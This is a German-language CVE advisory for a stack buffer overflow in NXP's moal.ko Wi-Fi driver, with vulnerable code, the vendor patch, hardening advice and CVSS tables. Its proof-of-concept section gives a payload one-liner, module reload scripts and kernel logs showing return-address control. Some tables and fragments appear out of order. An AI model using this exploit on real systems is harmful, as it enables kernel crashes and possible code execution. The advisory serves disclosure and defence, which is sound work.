
woal_setup_module_param / parse_cfg_get_line)| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-29338 |
| Schweregrad | Hoch |
| CVSS-v3.1-Score | 7.8 |
| CVSS-v3.1-Vektor | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Schwachstellentyp | Stack-basierter Pufferüberlauf (CWE-121) |
| Angriffsvektor | Lokal |
| Hersteller | NXP Semiconductors |
| Patch-Status des Herstellers | Behoben |
| Entdecker | Mahmoud Jadaan — diconium auto GmbH |
Eine Stack-basierte Pufferüberlauf-Schwachstelle besteht im NXP-moal.ko-Wi-Fi-Kerneltreiber (Version 5.1.7.10) über die Firmware-Builds v17.92.1.p149.43 bis v17.92.1.p149.157. Die Schwachstelle befindet sich in parse_cfg_get_line (mlinux/moal_init.c), aufgerufen von woal_setup_module_param. Die while-Schleife, die Zeilen der Konfigurationsdatei in einen Stack-Puffer fester Größe einliest, verfügt über keine Grenzprüfung des Zielpuffers, sodass eine Zeile beliebiger Länge den Puffer überlaufen lassen, den Stack beschädigen und einen Kernel-Panic auslösen kann. NXP PSIRT hat die Schwachstelle bestätigt und der Fix wurde veröffentlicht.
woal_setup_module_param reserviert einen Stack-Puffer fester Größe von MAX_LINE_LEN Bytes und übergibt ihn bei jeder Iteration an parse_cfg_get_line, während die über mod_para angegebene Konfigurationsdatei verarbeitet wird:
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
In der anfälligen Revision von parse_cfg_get_line prüft die Bedingung der while-Schleife nur die Quellposition und die Zeilenabschlusszeichen — es gibt keine Prüfung, wie viele Bytes in den Zielpuffer geschrieben wurden:
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
Eine Zeile der Konfigurationsdatei, die länger als MAX_LINE_LEN Bytes ist, führt dazu, dass dest über das Ende des Stack-Puffers des Aufrufers hinausläuft und angrenzenden Stack-Speicher überschreibt, einschließlich des gespeicherten Frame-Pointers und der Rücksprungadresse.
Der Treiber wird beim Systemstart mit insmod geladen, wobei der Parameter mod_para auf eine Konfigurationsdatei zeigt. Ein Angreifer, der eine präparierte Konfigurationsdatei schreiben und das Kernelmodul neu laden kann, kann den Überlauf auslösen.
| Auswirkung | Beschreibung |
|---|---|
| Denial-of-Service | Kernel-Panic — bestätigt; verursacht sofortigen Systemneustart |
| Kernel-Speicherbeschädigung | Stack-Smashing überschreibt das gespeicherte und die Rücksprungadresse |
Basis-Score: 7.8 (Hoch)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Nur zu Verteidigungs- und Forschungszwecken bereitgestellt.
#!/bin/sh
rmmod moal
rmmod mlan
Der Stack-Puffer wird mit As gefüllt, gefolgt von 8 Bytes für den Stack-Canary-Slot (Bs), 8 Bytes für das gespeicherte rbp (Cs) und 8 Bytes zum Überschreiben der Rücksprungadresse (Ds):
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
Der mod_para-Pfad muss relativ zu dem Verzeichnis sein, in dem der Kernel nach Firmware sucht (typischerweise /lib/firmware/). Erstellen Sie den Pfad entsprechend:
#!/bin/sh
PAYLOAD_PATH=../../<relative_path_to>/payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
Während der Modulinitialisierung wird sofort ein Kernel-Panic ausgelöst. Die Kernel-Logs bestätigen, dass die Rücksprungadresse mit 0x4444444444444444 (ASCII DDDDDDDD) überschrieben wird, was die vollständige Kontrolle über den Instruction-Pointer demonstriert:
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
NXP PSIRT hat die Schwachstelle bestätigt und den folgenden Patch für mlinux/moal_init.c bereitgestellt. Der Fix fügt innerhalb der parse_cfg_get_line-Schleife eine Grenzprüfung hinzu, um vor dem Überschreiten von MAX_LINE_LEN auszubrechen:
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
Aktualisieren Sie auf eine Firmware-Version jenseits von v17.92.1.p149.157, die den obigen Patch enthält. Zur zusätzlichen Härtung:
CAP_SYS_MODULE auf vertrauenswürdige Administratoren begrenzen; init_module-/finit_module-Syscall-Einschränkungen über SELinux, AppArmor oder seccomp durchsetzen.mod_para referenzierte Pfad und die darin enthaltenen Dateien nur von root beschreibbar sind.NXP PSIRT hat die Schwachstelle bestätigt. Der Fix wurde als Teil eines offiziellen Software-Updates veröffentlicht.
Entdecker: Mahmoud Jadaan — diconium auto GmbH
Dieser Sicherheitshinweis wird als öffentliche Referenz veröffentlicht, um die Mindestanforderungen zur CVE-Offenlegung gemäß dem CVE-Programm zu erfüllen.
| Feld | Detail |
|---|
| Hersteller | NXP Semiconductors |
| Komponente | moal.ko-Wi-Fi-Kerneltreiber |
| Treiberversion | 5.1.7.10 |
| Firmware — Erstmals betroffen | v17.92.1.p149.43 |
| Firmware — Zuletzt betroffen | v17.92.1.p149.157 |
| Attribut | Wert |
|---|
| Typ | Lokal |
| Erforderliche Privilegien | CAP_SYS_MODULE (root oder gleichwertig) |
| Benutzerinteraktion | Keine |
| Angriffsfläche | Parameter mod_para des Kernelmoduls (Pfad zur Konfigurationsdatei) |
rbp| Potenzielle Codeausführung | Rücksprungadresse kontrolliert — arbiträre Codeausführung im Kernel-Modus kann je nach vorhandenen Schutzmaßnahmen (Stack-Canary, KASLR usw.) möglich sein |
| Metrik | Wert | Begründung |
|---|
| Angriffsvektor (AV) | Lokal (L) | Erfordert lokalen Systemzugriff |
| Angriffskomplexität (AC) | Niedrig (L) | Keine Wettlaufbedingungen oder komplexen Voraussetzungen |
| Erforderliche Privilegien (PR) | Hoch (H) | Erfordert CAP_SYS_MODULE / root |
| Benutzerinteraktion (UI) | Keine (N) | Vollständig vom Angreifer kontrolliert |
| Scope (S) | Unverändert (U) | Die Auswirkung bleibt auf den Kernel-Kontext beschränkt |
| Vertraulichkeit (C) | Hoch (H) | Kernel-Speicher potenziell lesbar |
| Integrität (I) | Hoch (H) | Überschreiben der Rücksprungadresse nachgewiesen |
| Verfügbarkeit (A) | Hoch (H) | Kernel-Panic / Neustart bestätigt |